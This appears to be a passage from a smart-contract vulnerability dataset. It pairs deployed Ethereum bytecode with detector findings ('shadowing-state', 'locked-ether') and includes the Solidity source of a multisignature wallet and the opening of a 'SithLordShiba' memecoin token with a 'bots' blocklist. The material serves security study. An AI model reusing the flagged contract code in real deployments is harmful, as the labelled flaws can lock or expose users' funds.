fffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107e357600080fd5b610834826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108c7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150d90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae757600080fd5b601260ff16600a0a81026002541015610aff57600080fd5b601260ff16600a0a81026000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550601260ff16600a0a81026002600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5601260ff16600a0a83026040518082815260200191505060405180910390a250565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cd8576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6c565b610ceb838261150d90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040518060400160405280600381526020017f455043000000000000000000000000000000000000000000000000000000000081525081565b60025481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f1a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610f6557600080fd5b610fb6826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611049826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461115457600080fd5b601260ff16600a0a8102600260008282540192505081905550601260ff16600a0a81026000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167f8cb0122eb6117943e2624c4b8a0de629fc4aa9f51477bf6a33229ab9b25f5653601260ff16600a0a83026040518082815260200191505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601260ff16600a0a84026040518082815260200191505060405180910390a350565b600061131b82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561151957fe5b818303905092915050565b60008082840190508381101561153657fe5b809150509291505056fea265627a7a723158206971b76fa26cccc1b61b7fad2a91024fb1567f32c6f61d3e1c5493fbec3df06b64736f6c634300050c0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 9,379 |
0x577d37fd8f351f0156f96401ab7e2e97a157e423
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan Dejanovic
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610939565b34801561029a57600080fd5b506102436004356109bd565b3480156102b257600080fd5b506102be600435610a2c565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610aea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b4d565b3480156103f757600080fd5b50610376600435610c86565b34801561040f57600080fd5b50610243610dff565b34801561042457600080fd5b5061015c600435610e05565b34801561043c57600080fd5b5061015c600435610e84565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f4f9650505050505050565b3480156104bd57600080fd5b50610243610f6e565b3480156104d257600080fd5b50610243610f73565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f79565b34801561050e57600080fd5b5061015c600435611103565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b60038054600019019061066790826113d6565b5060035460045411156106805760035461068090610e05565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b6003805490506001016004546032821115801561087b5750818111155b801561088657508015155b801561089157508115155b151561089c57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109b6576000848152600160205260408120600380549192918490811061096757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099b576001820191505b6004548214156109ae57600192506109b6565b60010161093e565b5050919050565b6000805b600354811015610a2657600083815260016020526040812060038054919291849081106109ea57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a1e576001820191505b6001016109c1565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b24575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b7f578160200160208202803883390190505b50925060009150600090505b600554811015610c0657858015610bb4575060008181526020819052604090206003015460ff16155b80610bd85750848015610bd8575060008181526020819052604090206003015460ff165b15610bfe57808383815181101515610bec57fe5b60209081029091010152600191909101905b600101610b8b565b878703604051908082528060200260200182016040528015610c32578160200160208202803883390190505b5093508790505b86811015610c7b578281815181101515610c4f57fe5b9060200190602002015184898303815181101515610c6957fe5b60209081029091010152600101610c39565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbb578160200160208202803883390190505b50925060009150600090505b600354811015610d785760008581526001602052604081206003805491929184908110610cf057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d70576003805482908110610d2b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cc7565b81604051908082528060200260200182016040528015610da2578160200160208202803883390190505b509350600090505b81811015610df7578281815181101515610dc057fe5b906020019060200201518482815181101515610dd857fe5b600160a060020a03909216602092830290910190910152600101610daa565b505050919050565b60055481565b333014610e1157600080fd5b6003548160328211801590610e265750818111155b8015610e3157508015155b8015610e3c57508115155b1515610e4757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610ea257600080fd5b6000828152602081905260409020548290600160a060020a03161515610ec757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ef257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f4885611103565b5050505050565b6000610f5c8484846112c3565b9050610f6781610e84565b9392505050565b603281565b60045481565b6000333014610f8757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fb057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fd857600080fd5b600092505b6003548310156110695784600160a060020a031660038481548110151561100057fe5b600091825260209091200154600160a060020a0316141561105e578360038481548110151561102b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611069565b600190920191610fdd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526002602052604081205490919060ff16151561112457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff16151561115057600080fd5b600085815260208190526040902060030154859060ff161561117157600080fd5b61117a86610939565b156112bb576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a5061124e95600160a060020a03909216949093919083908301828280156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b50505050506113b3565b156112835760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112bb565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112db57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261135b9260028501929101906113ff565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818111156113fa576000838152602090206113fa91810190830161147d565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061144057805160ff191683800117855561146d565b8280016001018555821561146d579182015b8281111561146d578251825591602001919060010190611452565b5061147992915061147d565b5090565b610b4a91905b8082111561147957600081556001016114835600a165627a7a7230582072ac99d6c3a5959cb68a5c9141309e9f361c48a2c68c279e2608bdaa0118bef70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,380 |
0x8064dc067ba9bd6a7230a3bd2f73f56a9273c64e
|
/**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
/**
I find your lack of faith
distrubing
.-.
|_:_|
/(_Y_)\
. ( \/M\/ )
'. _.'-/'-'\-'._
': _/.--'[[[[]'--.\_
': /_' : |::"| : '.\
': // ./ |oUU| \.' :\
': _:'..' \_|___|_/ : :|
':. .' |_[___]_| :.':\
[::\ | : | | : ; : \
'-' \/'.| |.' \ .;.' |
|\_ \ '-' : |
| \ \ .: : | |
| \ | '. : \ |
/ \ :. .; |
/ | | :__/ : \\
| | | \: | \ | ||
/ \ : : |: / |__| /|
| : : :_/_| /'._\ '--|_\
/___.-/_|-' \ \
'-'
https://t.me/SithLordShiba
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SithLordShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SithLordShiba";
string private constant _symbol = "SithShiba";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x412E4817CaA27b38c88165303351063622a5742F);
address payable private _marketingAddress = payable(0x412E4817CaA27b38c88165303351063622a5742F);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000 * 10**9;
uint256 public _maxWalletSize = 50000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
